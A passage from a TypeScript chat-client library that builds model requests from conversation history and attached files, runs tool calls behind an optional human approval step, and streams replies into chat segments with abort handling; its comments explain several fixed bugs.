bare `<aparte-chat-viewport>` works\n // out of the box without a targetResolver.\n if (!targetElement) {\n // Prefer the first candidate that can actually render. The <aparte-chat>\n // shell matches the selector first but delegates to its viewport (no\n // appendMessage of its own), so a blind querySelector returned an\n // unusable shell and the send silently no-op'd. _asRenderTarget skips\n // to the shell's viewport (or the bare viewport) — see also _resolveTarget.\n const candidates = document.querySelectorAll<HTMLElement>(\n 'aparte-chat, aparte-chat-viewport, [data-aparte-chat]',\n );\n for (const candidate of candidates) {\n const resolved = this._asRenderTarget<AparteChatTargetElement>(candidate);\n if (resolved) {\n targetElement = resolved;\n break;\n }\n }\n }\n\n if (!targetElement) {\n console.warn('[AparteClient] ⚠️ No target element found with appendMessage support. Provide a targetResolver in AparteClientOptions or ensure the composer has a `target` attribute.');\n return;\n }\n\n const messageId = uuid();\n const config = this._config.getModelConfig();\n const providerId = explicitProviderId || config.defaultProvider;\n\n // 1. Initial Checks (Sync Errors)\n if (!providerId) {\n this._handleLifecycleError(targetElement, messageId, new AparteError(\n 'No provider selected. Please configure a provider.',\n AparteErrorCode.CONFIG_NO_PROVIDER\n ));\n return;\n }\n\n const provider = this._config.getAIProvider(providerId);\n if (!provider) {\n this._handleLifecycleError(targetElement, messageId, new AparteError(\n `Provider '${providerId}' is not registered.`,\n AparteErrorCode.CONFIG_MISSING_KEY,\n { providerId }\n ));\n return;\n }\n\n // 2. Prepare Atomic Assistant Message\n targetElement.appendMessage?.({\n id: messageId,\n role: 'assistant',\n content: '',\n status: 'pending',\n timestamp: Date.now()\n });\n\n // Resolve auth + build the request (key channel + file injection are\n // send-specific). A failure here routes to the lifecycle error exactly\n // like a stream failure inside _streamTurn.\n let authConfig: string | Record<string, string> | undefined;\n let messages: AparteChatMessage[];\n try {\n authConfig = await this._resolveAuth(providerId);\n\n const rawFiles: File[] = Array.isArray(event.detail?.files) ? event.detail.files : [];\n const filesToInject = this._selectFilesToInject(rawFiles);\n const contentParts = filesToInject.length > 0 ? await this._filesToContentParts(filesToInject) : [];\n messages = this._buildMessages(content, targetElement, contentParts.length > 0 ? contentParts : undefined);\n } catch (error: unknown) {\n this._handleLifecycleError(targetElement, messageId, AparteError.from(error, AparteErrorCode.UNKNOWN_ERROR));\n return;\n }\n\n await this._streamTurn(\n targetElement, messageId, provider,\n messages, modelId || config.defaultModel || '',\n authConfig,\n );\n }\n\n /**\n * Build the initial messages array, prepending system prompts and conversation history.\n */\n private _buildMessages(userContent: string, target?: AparteChatTargetElement, parts?: AparteContentPart[]): AparteChatMessage[] {\n const messages: AparteChatMessage[] = [];\n\n // 1. User-defined system prompt (with resolved variables)\n const userSystemPrompt = this._config.resolveSystemPrompt();\n if (userSystemPrompt) {\n messages.push({ role: 'system', content: userSystemPrompt });\n }\n\n const historyOption = this.options.history ?? 'viewport';\n const viewportMessages: AparteMessage[] = target?.getMessages?.() ?? [];\n\n if (historyOption === 'viewport') {\n messages.push(...this._toHistoryMessages(viewportMessages));\n } else if (typeof historyOption === 'function') {\n messages.push(...historyOption(viewportMessages));\n }\n\n const userMsg: AparteChatMessage['content'] = (parts && parts.length > 0)\n ? [{ type: 'text' as const, text: userContent }, ...parts]\n : userContent;\n messages.push({ role: 'user', content: userMsg });\n return messages;\n }\n\n private _toHistoryMessages(messages: AparteMessage[]): AparteChatMessage[] {\n // Exclude trailing unanswered user messages: the current user message is\n // already added explicitly at the end of _buildMessages, so including it\n // from the viewport would cause a duplicate.\n // Find the last completed assistant response and cut there.\n let cutoff = 0;\n for (let i = 0; i < messages.length; i++) {\n const m = messages[i]!;\n if (m.role === 'assistant' && m.status === 'completed') {\n cutoff = i + 1;\n }\n }\n\n return messages\n .slice(0, cutoff)\n .filter(m => {\n if (m.role === 'user') return m.status !== 'error';\n if (m.role === 'assistant') return m.status === 'completed';\n return false;\n })\n .map(m => ({\n role: m.role as 'user' | 'assistant',\n content: this._extractText(m)\n }))\n .filter(m => m.content.length > 0);\n }\n\n /**\n * What the model is told it said last turn — reconstructed from what was\n * RENDERED, not from the raw-text field.\n *\n * The order used to be the other way round, and it silently corrupted the\n * context on the most common opening in a coding chat: a reply starting with a\n * code fence was sent back as three backticks and nothing else. Three\n * correct-in-isolation decisions composed into it:\n *\n * 1. the parser withholds an ambiguous prefix (``` ``` ```, `` ` ``, `<`)\n * waiting for the next delta, and creates no active segment while it waits;\n * 2. so `_streamLoop` sees zero segments, concludes the parser produced\n * nothing, and appends the raw delta straight to `message.content`;\n * 3. and this method preferred `content`.\n *\n * The bubble hides its content element as soon as segments exist, so the UI was\n * perfect and only the NEXT request showed it. No unit test, no example and\n * no browser test could see it.\n *\n * `content` stays as the fallback, and that is not vestigial: a non-streaming\n * transport writes the whole reply there and creates no segments at all.\n */\n private _extractText(message: AparteMessage): string {\n const rendered = this._segmentsToText(message.segments);\n if (rendered) return rendered;\n if (typeof message.content === 'string' && message.content) return message.content;\n return '';\n }\n\n /**\n * Segments → the text a model can read back.\n *\n * Fences and the language tag are kept. Without them the model re-reads its own\n * code as prose — which is how it starts explaining a snippet it believes it\n * wrote in English. Artifacts are included for the same reason: dropping them\n * made an artifact the model had just produced invisible on the very next turn,\n * so it could not be asked to change the thing it had built.\n *\n * `thinking` stays out on purpose — it is the model's own scratchpad, and most\n * APIs neither want it back nor bill for it kindly.\n */\n private _segmentsToText(segments: AparteMessage['segments']): string {\n if (!segments?.length) return '';\n const fence = '```';\n const parts: string[] = [];\n for (const segment of segments) {\n const content = (segment as { content?: string }).content ?? '';\n if (segment.type === 'text') {\n if (content) parts.push(content);\n } else if (segment.type === 'code') {\n const lang = (segment as { language?: string }).language ?? '';\n parts.push(`${fence}${lang}\\n${content}\\n${fence}`);\n } else if (segment.type === 'artifact') {\n const title = (segment as { title?: string }).title ?? 'artifact';\n const kind = (segment as { artifactType?: string }).artifactType ?? '';\n parts.push(`${fence}${kind}\\n<!-- artifact: ${title} -->\\n${content}\\n${fence}`);\n }\n }\n return parts.join('\\n').trim();\n }\n\n /**\n * Which of the send's pending files get inlined into the request: the\n * `rawFileInject` mode first —\n * 'none' → nothing inline (RAG handles all file types),\n * 'images-only' → images inline, text/docs to the app layer,\n * 'all' (default) → images + text files inline —\n * then the optional per-file `fileInjectFilter` veto.\n */\n private _selectFilesToInject(rawFiles: File[]): File[] {\n const byMode =\n this.options.rawFileInject === 'none' ? [] :\n this.options.rawFileInject === 'images-only' ? rawFiles.filter(f => f.type.startsWith('image/')) :\n rawFiles;\n const filter = this.options.fileInjectFilter;\n return filter ? byMode.filter(f => filter(f)) : byMode;\n }\n\n /**\n * Convert an array of File objects to AparteContentPart[].\n * - Images → AparteImagePart (base64 data URL)\n * - Text files (txt, md, json, csv, xml, html, css, js, ts, …) → AparteTextPart\n * injected as a fenced block so all models (including local) can read them.\n * - Other binary files → silently ignored.\n */\n private async _filesToContentParts(files: File[]): Promise<AparteContentPart[]> {\n const TEXT_TYPES = /^(text\\/|application\\/(json|xml|javascript|typescript|x-yaml|yaml|toml|csv|markdown))/i;\n const TEXT_EXTENSIONS = /\\.(txt|md|markdown|json|jsonl|csv|tsv|xml|html|htm|css|js|mjs|cjs|ts|tsx|jsx|py|rb|java|c|cpp|h|go|rs|php|sh|bash|zsh|fish|yaml|yml|toml|ini|env|log|svg|graphql|gql)$/i;\n\n const parts: (AparteContentPart | null)[] = await Promise.all(\n files.map((file): Promise<AparteContentPart | null> => {\n if (file.type.startsWith('image/')) {\n return new Promise((resolve, reject) => {\n const reader = new FileReader();\n reader.onload = () => resolve({ type: 'image', image: reader.result as string, mimeType: file.type });\n reader.onerror = () => reject(new Error(`Failed to read file: ${file.name}`));\n reader.readAsDataURL(file);\n });\n }\n\n if (TEXT_TYPES.test(file.type) || TEXT_EXTENSIONS.test(file.name)) {\n return new Promise((resolve, reject) => {\n const reader = new FileReader();\n reader.onload = () => {\n const content = reader.result as string;\n const ext = file.name.split('.').pop() ?? '';\n resolve({\n type: 'text',\n text: `\\`\\`\\`${ext}\\n// File: ${file.name}\\n${content}\\n\\`\\`\\``,\n });\n };\n reader.onerror = () => reject(new Error(`Failed to read file: ${file.name}`));\n reader.readAsText(file);\n });\n }\n\n return Promise.resolve(null);\n })\n );\n\n return parts.filter((p): p is AparteContentPart => p !== null);\n }\n\n /**\n * Turn-1 forced tool call. When `toolChoice = { name, input }`\n * (orchestrator-driven), execute the handler directly instead of consulting\n * the LLM, render the tool segment, inject the result as `tool_result`, and\n * strip `toolChoice` for the follow-up turn. Returns the (possibly-updated)\n * request and whether the loop should skip to the next turn (handler missing\n * or aborted). Extracted from `_streamLoop`. `messages` is mutated in place.\n */\n private async _maybeRunSyntheticTool(\n baseRequest: AparteChatRequest,\n turns: number,\n messages: AparteChatMessage[],\n targetElement: AparteChatTargetElement,\n ): Promise<{ baseRequest: AparteChatRequest; skip: boolean }> {\n const toolChoice = baseRequest.toolChoice;\n if (!(turns === 1 && toolChoice && typeof toolChoice === 'object' && toolChoice.input !== undefined)) {\n return { baseRequest, skip: false };\n }\n\n const syntheticId = uuid();\n const syntheticCall: AparteToolCall = { id: syntheticId, name: toolChoice.name, input: toolChoice.input };\n\n // Render the tool segment so the UI shows the tool was called.\n const toolSeg: AparteToolCallSegment = {\n id: `tool-${syntheticId}`,\n type: 'tool_call',\n toolCall: syntheticCall,\n status: 'pending',\n };\n const toolRenderer = this._config.getToolRenderer(toolChoice.name);\n if (toolRenderer) {\n const html = toolRenderer.render(toolSeg);\n if (html) targetElement.addSegment?.(toolSeg);\n } else {\n targetElement.addSegment?.(toolSeg);\n }\n\n const handler = this._config.getToolHandler(toolChoice.name);\n if (!handler) {\n console.warn(`[AparteClient] No handler for synthetic tool \"${toolChoice.name}\"`);\n targetElement.updateSegment?.(toolSeg.id, { status: 'aborted' });\n return { baseRequest, skip: true };\n }\n\n const controller = new AbortController();\n this._activeToolControllers.add(controller);\n const { raced, done: clearToolTimeout } = withToolTimeout(\n (sig) => handler(syntheticCall, sig, {\n target: targetElement as unknown as HTMLElement,\n config: this._config,\n }),\n controller,\n this.options.toolTimeoutMs ?? DEFAULT_TOOL_HANDLER_TIMEOUT_MS,\n );\n try {\n const result = await raced;\n targetElement.updateSegment?.(toolSeg.id, { status: 'resolved', result: result.content });\n messages.push({ role: 'tool_call', content: '', toolCalls: [syntheticCall] });\n messages.push({ role: 'tool_result', content: result.content, toolCallId: syntheticId });\n // Strip toolChoice + tools from the follow-up LLM call — it should just answer.\n return { baseRequest: { ...baseRequest, toolChoice: 'none', tools: undefined }, skip: false };\n } catch (err: unknown) {\n if ((err as { name?: string })?.name === 'AbortError') {\n targetElement.updateSegment?.(toolSeg.id, { status: 'aborted' });\n return { baseRequest, skip: true };\n }\n throw err;\n } finally {\n clearToolTimeout();\n this._activeToolControllers.delete(controller);\n }\n }\n\n /**\n * Handle one `tool_use` stream event from {@link _streamLoop}: the built-in\n * `create_artifact`, per-tool renderer selection, the human-in-the-loop\n * approval gate, and running the registered handler (timeout / abort).\n * Mutates the shared `messages` / `toolCallsThisTurn` history in place and\n * returns whether the agentic loop should keep going.\n */\n private async _handleToolUseEvent(\n event: { id: string; name: string; input: Record<string, unknown> },\n ctx: {\n targetElement: AparteChatTargetElement;\n messageId: string;\n messages: AparteChatMessage[];\n toolCallsThisTurn: AparteToolCall[];\n precedingText: string;\n artifactProgress: Map<string, number>;\n turns: number;\n globalMaxTurns: number;\n },\n ): Promise<{ continueLoop: boolean }> {\n const { targetElement, messageId, messages, toolCallsThisTurn, precedingText, artifactProgress, turns, globalMaxTurns } = ctx;\n let continueLoop = true;\n\n toolCallsThisTurn.push({ id: event.id, name: event.name, input: event.input });\n\n // ── Built-in: create_artifact ─────────────────────────────────\n // When the LLM calls create_artifact, bypass the generic handler:\n // create an AparteArtifactSegment directly (isolated from chat text),\n // dispatch artifact lifecycle events, and inject a success tool_result\n // so the LLM can continue with a conversational reply.\n if (event.name === 'create_artifact') {\n const input = event.input as {\n mimeType?: string;\n title?: string;\n content?: string;\n };\n const mimeType = input.mimeType ?? 'text/plain';\n // The canonical derivation, not a third hand-rolled copy: the inline\n // chain that used to live here knew nothing of Anthropic's\n // `application/vnd.ant.*` namespace, so the same create_artifact call\n // rendered differently depending on whether the engine runner was\n // injected. `deriveArtifactKind` is already imported at the top of\n // this file, and engine's copy is locked to it by a parity test.\n const kind = deriveArtifactKind(mimeType, 'text');\n const artifactSeg: import('../types/segments.js').AparteArtifactSegment = {\n id: `artifact-${event.id}`,\n type: 'artifact',\n mimeType,\n artifactType: kind,\n title: input.title ?? kind,\n content: input.content ?? '',\n };\n targetElement.addSegment?.(artifactSeg);\n dispatchArtifactLifecycle(targetElement, messageId, artifactSeg, artifactProgress, true);\n\n messages.push({\n role: 'tool_call',\n content: '',\n toolCalls: [{ id: event.id, name: event.name, input: event.input }],\n });\n messages.push({\n role: 'tool_result',\n content: 'Artifact created successfully.',\n toolCallId: event.id,\n });\n return { continueLoop: true };\n }\n // ── End built-in create_artifact ──────────────────────────────\n\n const toolSeg: AparteToolCallSegment = {\n id: `tool-${event.id}`,\n type: 'tool_call',\n toolCall: { id: event.id, name: event.name, input: event.input },\n status: 'pending'\n };\n\n // Check for a per-tool renderer override\n const toolRenderer = this._config.getToolRenderer(event.name);\n if (toolRenderer) {\n // Inject per-tool styles once\n if (toolRenderer.getStyles) {\n const styles = toolRenderer.getStyles();\n if (styles) {\n const styleId = `aparte-tool-renderer-${event.name}`;\n if (!document.getElementById(styleId)) {\n const el = document.createElement('style');\n el.id = styleId;\n el.textContent = styles;\n document.head.appendChild(el);\n }\n }\n }\n const html = toolRenderer.render(toolSeg);\n // Only add segment if the renderer produces visible output\n if (html) {\n targetElement.addSegment?.(toolSeg);\n }\n // No DOM setup here — segment bubble handles it via its own renderer\n } else {\n // Fallback: generic tool_call segment renderer (pill + spinner)\n targetElement.addSegment?.(toolSeg);\n }\n\n // Check per-tool maxTurns override\n const toolDef = this._config.getTools().find(t => t.name === event.name);\n const effectiveMaxTurns = toolDef?.maxTurns ?? globalMaxTurns;\n if (turns >= effectiveMaxTurns) {\n console.warn(`[AparteClient] Tool \"${event.name}\" maxTurns (${effectiveMaxTurns}) reached.`);\n targetElement.updateSegment?.(toolSeg.id, { status: 'aborted' });\n return { continueLoop: false };\n }\n\n // Find and run the registered handler\n const handler = this._config.getToolHandler(event.name);\n if (handler) {\n // The input the handler runs with. A human approval step may\n // override it via the decision payload (see below); with no\n // approval it is exactly what the model requested.\n let effectiveInput = event.input;\n // Human-in-the-loop: pause for approval before running, if required.\n if (toolDef?.needsApproval) {\n const approvalController = new AbortController();\n this._activeToolControllers.add(approvalController);\n targetElement.updateSegment?.(toolSeg.id, { status: 'awaiting-approval' });\n // Through the helper, like every other lifecycle event this class\n // emits — it stamps `targetId`. The engine path already goes\n // through `dispatchLifecycleEvent` and stamps it, so dispatching\n // raw here gave one event two shapes depending on which loop\n // produced it, and a composer filtering on `targetId` saw the\n // approval request from the other chat on the page.\n dispatchLifecycleEvent(targetElement, 'aparte-tool-approval-request', {\n toolCallId: event.id, toolName: event.name, input: event.input,\n });\n let decision: { approved: boolean; payload?: unknown };\n const resolveApproval = this.options.approvalResolver\n ?? ((id: string, sig: AbortSignal) => this._awaitToolDecision(id, sig, targetElement as unknown as HTMLElement));\n try {\n decision = await resolveApproval(event.id, approvalController.signal);\n } finally {\n this._activeToolControllers.delete(approvalController);\n }\n if (!decision.approved) {\n const rejection = 'Tool execution was rejected by the user.';\n targetElement.updateSegment?.(toolSeg.id, { status: 'rejected', result: rejection });\n const existingToolCallMsg = messages.find(\n m => m.role === 'tool_call' && m.toolCalls?.some(tc => tc.id === event.id)\n );\n if (!existingToolCallMsg) {\n messages.push({\n role: 'tool_call',\n content: '',\n toolCalls: toolCallsThisTurn,\n precedingText: precedingText.trim() || undefined\n });\n }\n messages.push({ role: 'tool_result', content: rejection, toolCallId: event.id });\n return { continueLoop: false };\n }\n // Approved → optionally let the human's payload edit the\n // arguments, then restore pending and run the handler.\n if (decision.payload && typeof decision.payload === 'object' && !Array.isArray(decision.payload)) {\n effectiveInput = { ...event.input, ...(decision.payload as Record<string, unknown>) };\n }\n targetElement.updateSegment?.(toolSeg.id, { status: 'pending' });\n }\n\n const controller = new AbortController();\n this._activeToolControllers.add(controller);\n const { raced, done: clearToolTimeout } = withToolTimeout(\n (sig) => handler(\n { id: event.id, name: event.name, input: effectiveInput },\n sig,\n { target: targetElement as unknown as HTMLElement, config: this._config },\n ),\n controller,\n this.options.toolTimeoutMs ?? DEFAULT_TOOL_HANDLER_TIMEOUT_MS,\n );\n\n try {\n const result = await raced;\n targetElement.updateSegment?.(toolSeg.id, { status: 'resolved', result: result.content });\n\n // Inject tool_call + tool_result into message history for re-call\n const existingToolCallMsg = messages.find(\n m => m.role === 'tool_call' && m.toolCalls?.some(tc => tc.id === event.id)\n );\n if (!existingToolCallMsg) {\n messages.push({\n role: 'tool_call',\n content: '',\n toolCalls: toolCallsThisTurn,\n precedingText: precedingText.trim() || undefined\n });\n }\n messages.push({\n role: 'tool_result',\n content: result.content,\n toolCallId: event.id\n });\n } catch (err: unknown) {\n if ((err as { name?: string })?.name === 'AbortError') {\n targetElement.updateSegment?.(toolSeg.id, { status: 'aborted' });\n continueLoop = false;\n } else {\n throw err;\n }\n } finally {\n clearToolTimeout();\n this._activeToolControllers.delete(controller);\n }\n } else {\n console.warn(`[AparteClient] No handler registered for tool \"${event.name}\"`);\n targetElement.updateSegment?.(toolSeg.id, { status: 'aborted' });\n continueLoop = false;\n }\n return { continueLoop };\n }\n\n /**\n * Stream loop: runs one provider.chat() call and repeats if a tool was called.\n * Maintains a running messages array to inject tool_call / tool_result turns.\n */\n private async _streamLoop(\n targetElement: AparteChatTargetElement,\n messageId: string,\n provider: AparteAIProvider,\n baseRequest: AparteChatRequest,\n authConfig: string | Record<string, string> | undefined\n ): Promise<AparteUsage | undefined> {\n // Fetch-level abort: aborting this controller (via `abort()`) cuts the\n // in-flight vendor request, so a user \"stop\" halts server-side generation\n // rather than only stopping client-side reading of the stream.\n // A NEW turn abandons the previous one, and abandoning means cutting it.\n //\n // `_streamController` is a single slot overwritten on each turn, and nothing\n // guards `_handleSend` / `_handleRetry` / `_handleEdit` against a turn already\n // in flight — so the first turn became unabortable: `abort()` reached only the\n // newest signal while the older stream kept generating and kept being billed,\n // with nothing left on the page to render it.\n //\n // Reachable without doing anything unusual: the composer converts\n // submit-while-streaming into a cancel, but the action bar is hidden only on\n // the bubble carrying `data-streaming`, so retry or edit on any EARLIER bubble\n // is clickable mid-stream and starts a second loop.\n //\n // Cutting the old one rather than tracking both, because two simultaneous\n // assistant turns on one chat is not a state this UI has — and \"we walked away\n // from a stream, so cancel it\" is already the rule everywhere else here.\n this._streamController?.abort();\n const streamController = new AbortController();\n this._streamController = streamController;\n\n // ── Injected stream runner ───────────────────────────────────────────\n // When a headless runner is injected (e.g. @aparte/engine's\n // runStreamAgent), delegate the loop to it and render via the core\n // adapter. Absent → the inline loop below runs (core standalone,\n // zero-dep). Both paths produce the same targetElement calls (proven by\n // the engine `stream-parity` suite).\n if (this.options.streamRunner) {\n return this._runViaStreamRunner(this.options.streamRunner, targetElement, messageId, provider, baseRequest, authConfig, streamController);\n }\n\n const messages: AparteChatMessage[] = [...baseRequest.messages];\n let continueLoop = true;\n let turns = 0;\n const globalMaxTurns = this.options.maxTurns ?? 10;\n let lastUsage: AparteUsage | undefined;\n\n // ── Pipeline mode ─────────────────────────────────────────────────\n // _meta.pipeline runs each phase as one LLM turn: the system message +\n // artifact hint are injected per phase, and reply N is context for N+1.\n // (Typed via AparteRequestMeta — no local shape / cast needed.)\n const pipeline = baseRequest._meta?.pipeline;\n let pipelineIndex = 0;\n\n this._updateMessage(targetElement, messageId, { status: 'streaming' });\n\n // Inject prefix segments (e.g. an orchestrator thinking block) before streaming.\n for (const seg of baseRequest._meta?.prefixSegments ?? []) {\n targetElement.addSegment?.(seg);\n }\n\n while (continueLoop) {\n if (this._isAborted) {\n dispatchLifecycleEvent(targetElement, 'aparte-message-aborted', { messageId });\n break;\n }\n\n turns++;\n if (turns > globalMaxTurns) {\n console.warn(`[AparteClient] maxTurns (${globalMaxTurns}) exceeded — stopping loop.`);\n targetElement.addSegment?.({\n id: `max-turns-${uuid()}`,\n type: 'error',\n content: `Stopped after ${globalMaxTurns} tool calls to prevent an infinite loop.`,\n details: 'MAX_TURNS_EXCEEDED'\n });\n break;\n }\n\n // Turn-1 forced tool call (orchestrator-driven toolChoice) — runs the\n // handler directly instead of the LLM. `skip` = this turn is done\n // (handler missing / aborted); otherwise fall through with the request\n // stripped of toolChoice for the follow-up. See _maybeRunSyntheticTool.\n const synthetic = await this._maybeRunSyntheticTool(baseRequest, turns, messages, targetElement);\n baseRequest = synthetic.baseRequest;\n if (synthetic.skip) { continueLoop = false; continue; }\n\n // ── Build per-phase request when pipeline is active ───────────────\n let phaseMessages: AparteChatMessage[] = messages;\n let phaseMeta: AparteRequestMeta | undefined = baseRequest._meta;\n if (pipeline && pipelineIndex < pipeline.length) {\n const phase = pipeline[pipelineIndex]!;\n phaseMessages = [{ role: 'system', content: phase.system } as AparteChatMessage, ...messages];\n if (phase.mode === 'artifact') {\n phaseMeta = { ...phaseMeta, artifactRaw: { mimeType: phase.mimeType, kind: phase.kind } };\n } else {\n // Ensure no stale artifactRaw leaks into a text phase\n const { artifactRaw: _dropped, pipeline: _p, ...restMeta } = (phaseMeta ?? {}) as AparteRequestMeta;\n phaseMeta = restMeta;\n }\n }\n const request: AparteChatRequest = { ...baseRequest, messages: phaseMessages, _meta: phaseMeta };\n const response = await this._config.getTransport().chat(provider, request, authConfig, { providerId: provider.id, signal: streamController.signal });\n\n if (typeof response === 'string') {\n // PARSED, like every other reply. Writing the raw string to `content`\n // meant a non-streaming backend rendered literal ``` fences and got no\n // code, thinking or artifact segments at all — while the SAME backend\n // through the engine seam rendered them properly, because\n // `runStreamAgent` emits the string as a `text-delta` and the adapter\n // parses it. Two loops, two different products from one response.\n const wholeParser = new AparteStreamParser();\n const parsed = [\n ...wholeParser.parse(response).segments,\n ...wholeParser.finalize(),\n ];\n if (parsed.length > 0) {\n for (const segment of parsed) targetElement.addSegment?.(segment);\n this._updateMessage(targetElement, messageId, { status: 'completed' });\n } else {\n // Nothing parseable (an empty or whitespace-only reply): keep the\n // old shape so the bubble still has something to show.\n this._updateMessage(targetElement, messageId, { content: response, status: 'completed' });\n }\n return undefined;\n }\n\n // Streaming mode\n const reader = (response as ReadableStream<AparteStreamEvent>).getReader();\n const textParser = new AparteStreamParser();\n const streamingSegmentIds = new Set<string>();\n /**\n * Lifecycle bookkeeping for artifact segments. Maps a segment id to the\n * length of content already broadcast via `aparte-artifact-delta`. Used to\n * compute incremental chunks without forcing the parser to expose deltas.\n */\n const artifactProgress = new Map<string, number>();\n let thinkingSegmentId: string | null = null;\n let thinkingContent = '';\n let thinkingCollapsed = false;\n // Extract artifact hint once — used in both streaming and finalize promotion\n const artifactHint = baseRequest._meta?.artifactHint;\n let artifactPromoted = false; // promote only the first code segment\n\n // ── artifactRaw mode (turn 2 of multi-turn) ──────────────────────\n // Entire stream is raw code → routed directly into an artifact segment.\n const artifactRawHint = request._meta?.artifactRaw;\n let rawSegId: string | null = null;\n let rawContent = '';\n\n if (artifactRawHint) {\n // Create the artifact segment immediately (pill during streaming)\n rawSegId = `artifact-raw-${uuid()}`;\n const rawSeg: import('../types/segments.js').AparteArtifactSegment = {\n id: rawSegId, type: 'artifact',\n mimeType: artifactRawHint.mimeType,\n artifactType: artifactRawHint.kind,\n title: artifactRawHint.kind,\n content: '',\n };\n targetElement.addSegment?.(rawSeg);\n streamingSegmentIds.add(rawSegId);\n dispatchArtifactLifecycle(targetElement, messageId, rawSeg, artifactProgress, false);\n }\n // ── END artifactRaw ──────────────────────────────────────────────\n\n // ── XML artifact streaming state (Claude-like) — fed to ./xml-artifact-feed.ts ──\n const artifactXmlHint = baseRequest._meta?.artifactXml;\n const xmlCtx: XmlArtifactStreamState = {\n state: 'normal', scanBuf: '', closeBuf: '', segId: null, content: '', mime: '', kind: '', title: '',\n };\n\n // Accumulated text before a tool call in this turn\n let precedingText = '';\n // Tool calls emitted during this turn\n const toolCallsThisTurn: AparteToolCall[] = [];\n\n // Honor abort INSIDE the SSE event loop too (not only between tool-call\n // turns). Without this, late events buffered after an `aparte-abort`\n // (e.g. after the user switches conversation mid-stream) keep mutating\n // the target's last message — which may now belong to a different\n // conversation, causing the user message in the new conv to be\n // overwritten by the assistant reply from the old one.\n //\n // Checked on BOTH sides of the read, and that is the whole point: the\n // loop spends nearly all of its time parked on `reader.read()`, so an\n // abort arriving while parked — the user pressing Stop while watching\n // text stream, i.e. the only case that actually happens — is invisible\n // to a check that only runs before the await. Checking after the read\n // also covers both shapes a provider can take on abort: an `error`\n // event (openai-compat) or a quiet close (ai-sdk). Miss it and the\n // error branch throws, `_handleLifecycleError` REPLACES `segments`,\n // and the answer the user was reading is erased and blamed on a fault.\n const bailOnAbort = (): boolean => {\n if (!this._isAborted) return false;\n try { void reader.cancel(); } catch { /* best effort */ }\n dispatchLifecycleEvent(targetElement, 'aparte-message-aborted', { messageId });\n continueLoop = false;\n return true;\n };\n\n // Did the vendor stream reach its own end, or are we walking away from\n // it? Only the second case needs a cancel (see the finally below).\n let streamDrained = false;\n\n try {\n while (true) {\n if (bailOnAbort()) break;\n const { done, value: event } = await reader.read();\n if (bailOnAbort()) break;\n if (done) { streamDrained = true; break; }\n\n switch (event.type) {\n case 'thinking': {\n thinkingContent += event.delta;\n if (!thinkingSegmentId) {\n const seg: AparteThinkingSegment = {\n id: `think-${uuid()}`,\n type: 'thinking',\n content: thinkingContent,\n collapsed: true,\n label: 'Thinking'\n };\n thinkingSegmentId = seg.id;\n streamingSegmentIds.add(seg.id);\n targetElement.addSegment?.(seg);\n } else {\n targetElement.updateSegment?.(thinkingSegmentId, { content: thinkingContent });\n }\n break;\n }\n case 'text': {\n // Collapse thinking block when the response text starts\n if (thinkingSegmentId && !thinkingCollapsed) {\n targetElement.updateSegment?.(thinkingSegmentId, { collapsed: true });\n thinkingCollapsed = true;\n }\n precedingText += event.delta;\n\n // ── artifactRaw: whole stream → artifact segment ──────────────\n if (artifactRawHint && rawSegId) {\n rawContent += event.delta;\n targetElement.updateSegment?.(rawSegId, { content: rawContent });\n dispatchArtifactLifecycle(targetElement, messageId, {\n id: rawSegId, type: 'artifact',\n mimeType: artifactRawHint.mimeType,\n artifactType: artifactRawHint.kind,\n title: artifactRawHint.kind,\n content: rawContent,\n } as import('../types/segments.js').AparteArtifactSegment, artifactProgress, false);\n break;\n }\n\n // XML artifact streaming (Claude-like) — see ./xml-artifact-feed.ts.\n if (artifactXmlHint) {\n feedXmlArtifactDelta(event.delta, xmlCtx, {\n targetElement, messageId, textParser, streamingSegmentIds, artifactProgress, artifactXmlHint,\n });\n break;\n }\n const result = textParser.parse(event.delta);\n for (let segment of result.segments) {\n // Artifact hint promotion: promote first code fence → artifact\n if (artifactHint && !artifactPromoted && segment.type === 'code') {\n const codeSeg = segment as import('../types/segments.js').AparteCodeSegment;\n const promoted: import('../types/segments.js').AparteArtifactSegment = {\n id: codeSeg.id,\n type: 'artifact',\n mimeType: artifactHint.mimeType,\n artifactType: artifactHint.kind,\n title: codeSeg.filename ?? artifactHint.kind,\n content: codeSeg.content,\n };\n segment = promoted;\n artifactPromoted = true;\n }\n if (!streamingSegmentIds.has(segment.id)) {\n targetElement.addSegment?.(segment);\n streamingSegmentIds.add(segment.id);\n } else if ('content' in segment) {\n // Segment was already streaming — sync the final content\n targetElement.updateSegment?.(segment.id, { content: (segment as { content?: string }).content });\n }\n if (segment.type === 'artifact') {\n dispatchArtifactLifecycle(targetElement, messageId, segment, artifactProgress, true);\n }\n }\n const active = textParser.getState().activeSegment;\n if (active) {\n if (!streamingSegmentIds.has(active.id)) {\n targetElement.addSegment?.(active);\n streamingSegmentIds.add(active.id);\n if (active.type === 'artifact') {\n dispatchArtifactLifecycle(targetElement, messageId, active, artifactProgress, false);\n }\n } else {\n targetElement.updateSegment?.(active.id, { content: (active as { content?: string }).content });\n if (active.type === 'artifact') {\n dispatchArtifactLifecycle(targetElement, messageId, active, artifactProgress, false);\n }\n }\n } else if (result.segments.length === 0) {\n // NOTHING here on purpose. This branch used to write\n // the raw delta into `message.content`, and it is the\n // second half of the history corruption: it only ever\n // fires when the parser has withheld an ambiguous\n // prefix (``` / ` / <) — a real text delta always\n // leaves an ACTIVE segment, which the branch above\n // handles. Measured: `parse('a b')` gives 0 segments\n // and an active text segment; `parse('```')` gives 0\n // and none.\n //\n // So the parser is holding those characters, and\n // `finalize()` flushes them as a text segment if the\n // stream ends there — verified. Writing them out here\n // duplicated them into a field that history then\n // preferred over what was rendered.\n }\n break;\n }\n case 'tool_use': {\n const toolResult = await this._handleToolUseEvent(\n { id: event.id, name: event.name, input: event.input },\n { targetElement, messageId, messages, toolCallsThisTurn, precedingText, artifactProgress, turns, globalMaxTurns },\n );\n if (!toolResult.continueLoop) continueLoop = false;\n break;\n }\n case 'error':\n throw new Error(event.message);\n case 'done':\n if (event.usage) lastUsage = event.usage;\n break;\n default: {\n // Compile-time exhaustiveness is KEPT: add a member to the\n // union and this assignment stops typechecking. What is gone\n // is the runtime throw.\n //\n // `assertNever` threw here, `_streamTurn` caught it, and\n // `_handleLifecycleError` REPLACED the message's segments with\n // an error bubble — so one unrecognised event destroyed a reply\n // the user was already reading. That is reachable on any\n // provider/SDK version skew: the ai-sdk mapper already drops\n // `source`/`file`/`abort` parts by design, so a new member is a\n // normal event, not a corrupt stream.\n const exhaustive: never = event;\n void exhaustive;\n this._warnUnknownStreamEvent(event);\n break;\n }\n }\n\n 